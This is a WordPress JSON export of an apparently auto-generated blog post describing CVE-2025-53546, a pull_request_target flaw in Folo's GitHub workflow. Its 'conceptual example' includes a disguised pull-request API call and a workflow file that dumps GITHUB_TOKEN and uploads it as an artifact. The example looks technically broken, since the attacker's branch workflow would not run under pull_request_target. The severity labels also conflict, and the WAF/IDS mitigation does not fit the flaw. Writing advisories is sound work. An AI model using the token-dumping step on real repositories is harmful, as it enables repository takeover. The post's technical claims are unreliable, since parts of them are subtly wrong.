{"id":59413,"date":"2025-07-16T02:21:31","date_gmt":"2025-07-16T02:21:31","guid":{"rendered":""},"modified":"2025-09-29T02:50:41","modified_gmt":"2025-09-29T08:50:41","slug":"cve-2025-53546-high-severity-vulnerability-in-folo-s-github-workflow","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53546-high-severity-vulnerability-in-folo-s-github-workflow\/","title":{"rendered":"CVE-2025-53546: High Severity Vulnerability in Folo’s GitHub Workflow<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2025-53546 is a critical cybersecurity vulnerability that directly affects the secure functioning of Folo, a service that organizes feeds content into a single timeline. It is of significant importance due to the potential damage it can inflict on the security of repositories and the sensitive data they contain. The vulnerability resides in the improper use of pull_request_target on the .github\/workflows\/auto-fix-lint-format-commit.yml file, which, if exploited, can lead to unauthorized access<\/a> and manipulation of the base repository.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-53546
\nSeverity: High (9.1 CVSS Severity Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise and potential data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Folo | All versions prior<\/a> to commit 585c6a591440cd39f92374230ac5d65d7dd23d6a<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability stems from the misuse of the pull_request_target within the github\/workflows\/auto-fix-lint-format-commit.yml file. This misuse allows an attacker to execute untrusted code with full access<\/a> to secrets from the base repository. The attacker can exploit<\/a> this vulnerability to exfiltrate the GITHUB_TOKEN, which has high privileges including content write privileges, leading to a complete takeover of the repository.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual representation of how an attacker might exploit this vulnerability. The attacker creates a malicious pull request that includes code<\/a> to export the GITHUB_TOKEN:<\/p>\n

POST \/repos\/:owner\/:repo\/pulls HTTP\/1.1\nHost: api.github.com\nContent-Type: application\/json\nAuthorization: Bearer [attacker's personal access token]\n{\n\"title\": \"Fix lint errors\",\n\"head\": \"attacker:fix-lint-errors\",\n\"base\": \"master\",\n\"body\": \"This PR fixes some lint errors. Please merge it.\",\n\"maintainer_can_modify\": true\n}<\/code><\/pre>\n
In the attacker’s branch (attacker:fix-lint-errors), the .github\/workflows\/auto-fix-lint-format-commit.yml file will contain malicious code<\/a> to exfiltrate the GITHUB_TOKEN:<\/p>\n
name: \"Auto fix lint and format commit\"\non:\npull_request_target:\ntypes: [opened, synchronize, reopened]\njobs:\nfix:\nruns-on: ubuntu-latest\nsteps:\n- name: Checkout code\nuses: actions\/checkout@v2\n- name: Export GITHUB_TOKEN\nrun: echo \"GITHUB_TOKEN=$GITHUB_TOKEN\" > secrets.txt\n- name: Upload secrets\nuses: actions\/upload-artifact@v2\nwith:\nname: secrets\npath: secrets.txt<\/code><\/pre>\n
Mitigation Guidance<\/strong><\/p>\n
The vulnerability is fixed in commit 585c6a591440cd39f92374230ac5d65d7dd23d6a. It is strongly recommended for all Folo users to update their systems to this commit or later as soon as possible<\/a>. In the meantime, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview CVE-2025-53546 is a critical cybersecurity vulnerability that directly affects the secure functioning of Folo, a service that organizes feeds content into a single timeline. It is of significant importance due to the potential damage it can inflict on the security of repositories and the sensitive data they contain. The vulnerability resides in the improper […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[79,88],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59413","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-github","vendor-linux"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t